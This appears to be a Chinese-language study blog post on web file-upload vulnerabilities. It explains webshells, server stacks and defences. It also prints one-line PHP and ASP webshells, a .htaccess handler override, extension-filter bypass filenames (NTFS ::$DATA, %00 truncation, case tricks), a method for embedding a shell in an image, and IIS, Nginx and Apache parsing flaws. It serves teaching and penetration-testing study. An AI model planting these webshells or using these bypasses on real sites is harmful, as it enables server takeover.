文件上传

WebShell

shell管理操作系统,用户与内核交互的程序

功能

  文件管理
  命令执行
  管理数据库

分类

  大码:功能全面
  小码:功能单一,执行系统命令,通过后续的上传代码完成大码的功能

补充

WebShell需要放在网站设置的目录当中,后缀需要是中间件可识别的脚本语言后缀,这个WebShell才能正常使用。使用时,先写网址,在后面加路径,以及文件名字

一句话

php

    <?php @eval($_POST[1]);?>
    <?php assert($_POST[1]);?>
    补充:
        使用POST传输数据,是因为,日志不会记录上传得详细上传数据,便于隐藏。

ASP

    <%eval request("pass");%>
    补充:
        asp中 ' 为注释

网站环境

分类

1。

L/W + A + M/O/M/R + P (module) Mysql/Oracle/Mongodb/Redist
L/W + N + M + P (fastcgi)
W + iis + Mysql + php-fpm (fastcgi)

2。

L/W + Tomcat/Weblogic/Jboss + M/O/M/R + JSP/JSPX

3。

W + iis + Mssql/Access + ASP/ASPX

以上三大类的特点

客户端进行请求时,http://www.a.com/upload/404.php 中间件(iis,apache,nginx,tomcat,weblogic,jboss)接受到请求,会进行解析,识别出要请求的路径以及文件名,如果文件后缀是中间件可识别的脚本语言后缀(php,asp,jsp…)就会调用对应的语言执行文件。如果文件后缀,不是中间件可识别的脚本语言后缀,就直接让客户端下载该文件。

4。

L/W + N + Nodejs/go/python/ruby/… + Mysql/Sqlite/Orcale/Redis 没有WebShell

特点:

靠路由器的方式,进行解析请求。

文件上传原理

在文件上传的功能除,若服务端脚本语言未对上传得文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就可能获取执行服务端命令的能力。
文件上传漏洞是Web的一种高危漏洞,一般情况下Web应用都回允许用户上传一些文件,Eg:头像、附件等信息,如果应用没对用户上传文件进行有效过滤,那么恶意用户就会上传WebShell,获取网站控制权

文件上传的高危触发点

相册、头像上传
视频、照片分享
附件上传(论坛发帖、邮箱)
文件管理器

$_FILES 全局变量

服务器在拿到上传得文件数据后,会先将其存储为一个临时文件,由$_FILES这个全局变量调用。

$_FILES 的属性

type:上传文件的类型
name:上传文件名
size:上穿文件的大小
tmp_name:临时文件的保存位置

预防文件上传

前端

js检测,但作用十分有限

后端

1。MIME文件类型检测:可以通过抓包改包方式绕过
2。文件后缀检测:可以通过大小写,特殊后缀,截断等方式绕过
3。内容检测:可以通过PHP伪协议,利用文件特性数据加密等方式绕过

文件上传绕过导图

文件头检测

文件头,描述一个文件的一些重要的属性,比如图片的长度、宽度、像素尺寸等,当程序打开文件时读取这些属性对文件进行处理。

文件后缀检测

后缀检测的两种方式

1。黑名单:一般有个专门的Blacklist文件,包含常见的危险脚本文件
2。白名单:一般有一个专门的Whitelist文件,包含常见的正常文件。

黑名单绕过

1.    .htaccess  利用的是apache的特性,让目录下的任意文件解析为php程序,可以通过改包方式,文件中需要添加代码
        a)    启用 .htaccess 需要修改 httpd.conf 启动AllowOverride,并可以用AllowOverride限制特定命令的使用。如需使用 .htaccess 以外的其它文件名,可以使用AccessFileName指令来改变。
                i.    AllowOverride All
                    LoadModule rewrite_module modules/mod_rewrite.so
                ii.    在apache中,如果网站目录下,存在一个.htaccess文件(必须.开头,名字是htaccess),那么,apache就会优先解析次文件中的配置,如果我们设置一些参数,比如将名字中包含abc的文件当作php程序去执行。
                    <FilesMatch "abc">
                    SetHandler application/x-httpd-php 
                    </FilesMatch>
        b)    要考虑一个问题,必须是Windows系统。如果是在黑名单中,对上传文件进行重命名,不受影响
        c〉                                  如果是在白名单中,对上传文件进行重命名,受影响不能使用
2.    a.php::$DATA.jpg    利用windows系统特性。
        a)    要考虑一个问题,只能在黑名单中进行攻击。并且,如果网站对上传的文件进行重命名,将无法利用
3.    a.php:.jpg        windows特性, .jpg 会被截断,最后剩下a.php  文件为空
4.    a.php.            windows特性, .不会被保存,最后剩下 a.php
        a)    文件是否重命名没影响
5.    a.php空格        windows特性, 空格不会被保存,最后剩下 a.php
6.    a.PHP            windows特性, 系统不区分大小写,最后访问到 a.php
7.    截断上传            php5.3.4以下,%00可以截断后缀,  /upload/a.php%00a.jpg  最后保存为 /upload/a.php
8.    a.pphphp            程序内部,在识别黑名单后将内容替换为空(不常见)

白名单绕过

1。a.php::$DATA.jpg
2。a.php:            文件最后为空

截断上传

基于一个组合逻辑漏洞造成的,通过修改上传过程中的POST包,在文件名后添加 %00 字节,则可以截断某些函数对文件名的判断。因为在许多语言中 0x00 被认为是终止符。
注意:PHP版本小于5.3.4 请关注 CVE-2006-7243
PHP的magic_quotes_gpc为OFF状态 //如果不修改长传可能无法成功,默认为ON
如果需要进行截断上传,就需要指定文件保存路径,并且,文件保存路径回合文件名字进行连接,最后进行保存,保存时会把文件名截断,剩下的路径以及自定义的文件名。

        Eg:filepath=/upload/a.php%00
            file=a.jpg
            /upload/a.php%00a.jpg    /upload/a.php

截断上传理论上和实际操作中

    理论上:
        抓包: filename=”avatar.php%00.jpg”
        Php:  $_FILES[‘file’][‘name’]=avatar.php%00.jpg
        截断 .jpg
        Whitelist中 [‘jpg’,’png’,’jpeg’] 存在通过
        move_uploaded_file(“tmpfile”,”upload/”.name) 保存文件时截断
        最终结果:    upload/a.php        保存为 a.php

    现实中:
        抓包:Filename=”avatar.php%00.jpg”
        Php: $_FILES[‘file’][‘name’]=avatar.php%00.jpg
        截断:    .jpg   剩下 avatar.php
        Whitelist中不存在 php     阻止上传
截断上传实际操作中的运用

上传时,可以指定文件保存路径,组合路径和文件名字时,路径中有 %00 把文件名字截断,留下路径中的 .php

大致的实现代码
前段处理
<form action=up.php  method = post>      

    <input type = file name = file>      

    <input type = text name = path>      

    <input type = submiit >      

</form>

后端处理
<?php  

$path = $_POST['path']       

$file = $_FILES['file']  

$list = ['jpg', 'jpeg', 'png']  

ext  = $file['name'] // 取文件后缀   .jpg  

    if (ext in list) {}  // 通过白名单或者黑名单检测  

    savepath = $path . $file['name']  // 文件保存路径  

    move_uploaded_file(savepath, tmpfile) // 保存文件  

?>  

截断上传附录

命令行的方式合并两个文件

Windows下使用copy将两个文件通过16进制方式合并成一个文件的方式

    Copy  文件1 /b + 文件2 /a 新文件名.类型        /b是16进制方式  /a ascii方式  将文件2写入到文件1中

Linux下使用重定向即可

    Cat 404.php >> 1.png
NTFS 文件流

NTFS文件留系统包括对备用数据流的支持。主要提供与文件系统中的文件的兼容性。常用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中默认数据流称为 $DATA
Windows资源管理器不提供一种方法来检查文件中的备用数据流(或者在不删除文件的情况下删除它们),但可以轻松创建和访问它们。因为很难找到它们,经常被黑客利用,用来隐藏泄露的机器文件(rootkit的文件)。备用数据流中可执行文件,可以从命令行执行,但不会显示在windows资源管理器(或控制台)中。

上传文件名 服务器生成的文件表面现象 生成文件内容
Test.php:a.jpg Test.php
Test.php::$DATA Test.php
Test.php::$INDEX_ALLOCATION Test.php文件夹
Test.php::$DATA.jpg 0.jpg
Test.php::$DATA\aaa.jpg aaa.jpg

大小写绕过

    中间件 apache不区分大小写,根据配置文件识别是否是可执行脚本文件。
        // 判断是否是可执行脚本时不区分大小写, .php  .Php  .PHP  .PHp … 全部是可执行脚本
    去操作系统中找文件,执行里面的代码
        // 根据操作系统,Linux区分大小写,Windows不区分大小写

    Eg:上传一个 .Php
        在Linux和Windows都可以用
        在Windows中,可以直接访问 .Php或者 .php, .pHp …
        在Linux中,只可以访问 .Php

关于上传图片裁剪功能

    客户端:
        使用JS,裁剪图片,把裁剪后的图片发送到服务器
            可以通过抓包改包的方式,将上传得图片码进行编码写入webshell,再编码上传
                特点:将裁剪好的图片通过数据包的方式发送给服务器
    服务端:
        客户端选择图片的坐标,发送坐标到服务器,服务器根据坐标进行裁剪
            可以通过强制刷新的方式,跳过裁剪。    
                特点:选择图片后直接上传。

网站服务端,常用的重命名方式(防御恶意上传)

1。生成一个时间戳 + 文件名
  a.jpg ==> 123456_a.jpg
2。生成一个时间戳 + 文件后缀
  a.jpg ==> 123456.jpg
  a.png ==> 123456.png
3。生成一个时间戳 + 固定的后缀
  a.jpg ==> 123456.jpg
  a.png/gif/mp3 ==> 123456.jpg
4。其他方式

文件上传解析漏洞

1.    Iis
        a)    iis5.x —— iis6.x 
                i.    目录解析: /xx.asp/xx.jpg 可替换为任意文本文件(eg: xx.txt) 文本内容为后门木马。
                        1.    原理:服务器默认会把xx.asp目录下的文件解析为 asp文件
                ii.    文件解析: /xx.asp;.jpg  形如 www.xxx.com/xx.asp;.jpg
                        1.    原理:服务器默认不解析 ; 后面的内容,因此 xx.asp;.jpg 便解析成了asp文件
        b)    Iis7.5解析漏洞
                i.    原理:类似于nginx,都是由于php配置文件中,开启了 cgi.fix_pathinfo=1 这严格意义上不是nginx或者iis7.5本身的漏洞。
                ii.    漏洞形式:www.xxx.com/uploadfiles/image/1.jpg/1.php
2.    Nginx
        a)    漏洞原理:Nginx拿到文件路径(URI) /test.jpg/test.php 后,后缀是php就认为是php文件,交给php处理。因为 test.php不存在删除,test.jpg存在,便把test.jpg当作php文件执行。
                i.    该选项需要:cgi.fix_pathinfo=1 默认开启,php可以对文件路径进行修理。
        b)    漏洞形式:www.xxx.com/uploadfiles/image/1.jpg/.php  因为 .php 文件不存在会删除,但会把1.jpg当作php处理。
        c)    另外的两种漏洞形式
                i.    www.xxx.com/uploadfile/image/1.jpg%00.php
                ii.    www.xxx.com/uploadfile/image/1.jpg/%20\0.php
3.    Apache
        a)    Apache 1.x 2.x 解析漏洞
                i.    原理:Apache解析文件的规则是从右向左判断解析,如果后缀名为不可识别文件解析,就再往左判断。
                ii.    漏洞的形式:www.test.com/test.php.a    a不能解析,在php可以解析
                iii.    配置问题导致的漏洞:
                        1.    如果在Apache的conf里配置 AddHandler php5-script.php 这时只要文件名里包含 .php 即时文件名是test2.php.jpg 也会以php来执行
                        2.    如果在Apache的conf里配置 AddType application/x-http-php .jpg 即时扩展名是 jpg 一样以 php方式执行

补充

Iis解析asp   iis6  a.asp/a.jpg        a.asp;.jpg  可以绕过黑名单
Apache解析php  1.x — 2.2.x  从右向左解析        a.php.abc    不能绕过黑名单
Nginx/lighttpd/iis  解析php        a.jpg/.php  默认可以绕过黑名单    因为,cgi模式运行,中间识别到php程序后,直接将请求转发给php,由于默认开启 cgi.fix_pathinfo=1
Nginx <= 0.8.37  存在截断漏洞    a.jpg%00.php
Nginx识别为php程序后,转发给cgi的php 00截断,php收到a.jpg 执行a.jpg

   转载规则


《文件上传》 Evolyutsiya 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录